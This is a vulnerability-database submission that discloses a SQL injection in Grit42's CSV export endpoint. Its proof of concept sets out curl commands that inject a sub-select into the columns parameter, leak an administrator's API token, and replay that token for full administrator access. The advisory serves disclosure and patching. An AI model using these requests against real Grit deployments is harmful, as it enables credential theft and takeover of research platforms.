Submit #816680: Grit Grit42 0.0.x through 0.11.0 SQL Injectioninfo

TitleGrit Grit42 0.0.x through 0.11.0 SQL Injection
DescriptionPlease check full advisory here for better reference: https://github.com/natanmorette-thoropass/thoropass-vuln-research-program/blob/main/2026/SQL%20Injection%20in%20grit42%20CSV%20Export%20Endpoint/README.md ## Vulnerability Summary The CSV export action in grit's `GritEntityController` splats the user-controlled `params[:columns]` into `Model.unscoped.select(*params[:columns])`, then wraps the resulting relation in a PostgreSQL `COPY (...) TO STDOUT WITH CSV HEADER` statement. Rails' `select` accepts raw SQL fragments, so any authenticated user can inject sub-selects into the SELECT clause and exfiltrate any column the database role can see. This includes `crypted_password`, `single_access_token`, `forgot_token`, `activation_token`, and `two_factor_token` from `grit_core_users`. Because grit accepts the static `single_access_token` as a permanent `Authorization: Bearer` credential, a leaked admin token converts a zero-role account into a full Administrator in a single HTTP request. ## Technical Analysis ➤ Vulnerable Endpoint: `GET /api/grit/core/origins/export?columns[]=...` (and every sibling resource with `resources_with_export` in routes: `locations`, `countries`, `vocabulary_items`, `units`, `data_types`, `batches`, `synonyms`, `compounds`, `compound_types`, `data_table_rows`, plus the assays `experiments#export`). ➤ Authentication: any active user. No specific role required. The `before_action` chain applies `:require_user` but `:check_read` is restricted to `index` / `show`, so a zero-role user can hit `export` even when blocked from `index`. ### Vulnerable Code `modules/core/backend/app/controllers/concerns/grit/core/grit_entity_controller.rb`: ### Proof of Concept #### Prerequisites - A running grit instance reachable over HTTP/S. - One active user account at the lowest possible privilege level (zero roles is sufficient). **1. Authenticate as any low-privilege user and capture the token.** ```bash curl -s -c /tmp/lowpriv -X POST http://localhost:3000/api/grit/core/user_session -H 'Content-Type: application/json' -d '{"user_session":{"login":"[email protected]","password":"LowPriv1!"}}' > /dev/null; set LOWPRIV_TOKEN (curl -s -b /tmp/lowpriv http://localhost:3000/api/grit/core/user_session | python3 -c "import sys,json; print(json.load(sys.stdin)['data']['token'])"); echo "Captured Token: $LOWPRIV_TOKEN" ``` ![alt text](image.png) **3. Fire the SQLi to read admin credentials from `grit_core_users`.** ```bash curl -G "http://localhost:3000/api/grit/core/origins/export" -H "Authorization: Bearer $LOWPRIV_TOKEN" --dat a-urlencode "columns[]=name" --data-urlencode "columns[]=(SELECT single_access_token FROM grit_core_users WHERE login='admin') AS admin_token" ``` ![alt text](image-1.png) Server response: ``` HTTP/1.1 200 OK Content-Type: text/csv Name,Admin token ADMIN,GvRUmqQI4jM_gP3NjHTl ``` The `Token` cell is the admin's permanent `single_access_token`. **5. Confirm full administrator takeover by replaying the leaked token as a Bearer credential.** ```bash curl -H "Authorization: Bearer GvRUmqQI4jM_gP3NjHTl" \ "http://localhost:3000/api/grit/core/users?scope=user_administration" ``` ![alt text](image-2.png) The response now lists every user including their stored `single_access_token`, `forgot_token`, and `activation_token` values. The attacker has read-write administrator access. ## Impact A remote attacker holding any active grit account can: - Read every column of every table the database role can see, including hashed passwords (`grit_core_users.crypted_password`), permanent API tokens (`single_access_token`), pending password-reset tokens (`forgot_token`), pending activation tokens (`activation_token`), and second-factor tokens (`two_factor_token`). - Replay a leaked admin `single_access_token` as `Authorization: Bearer`, gaining permanent administrator access without needing to touch the password reset or 2FA flows. - As administrator, create, modify, or destroy any user, role, vocabulary, compound, batch, assay model, experiment, or attachment on the platform. - On the official `grit42com/grit` Docker stack, additionally read arbitrary files inside the database container via `pg_read_file()`, since the bundled DB role retains `SUPERUSER`. In a multi-tenant CRO deployment of grit, a single role-less account (a scientist's free-tier login) is enough to exfiltrate every project's research data and impersonate the platform administrator.
Source⚠️ https://github.com/natanmorette-thoropass/thoropass-vuln-research-program/blob/main/2026/SQL%20Injection%20in%20grit42%20CSV%20Export%20Endpoint/README.md
User
 nmmorette (UID 87361)
Submission05/01/2026 00:39 (2 months ago)
Moderation06/14/2026 08:33 (1 month later)
StatusAccepted
VulDB entry370834 [Grit42 Grit up to 0.11.0 GritEntityController grit_entity_controller.rb sql injection]
Points20

Do you need the next level of professionalism?

Upgrade your account now!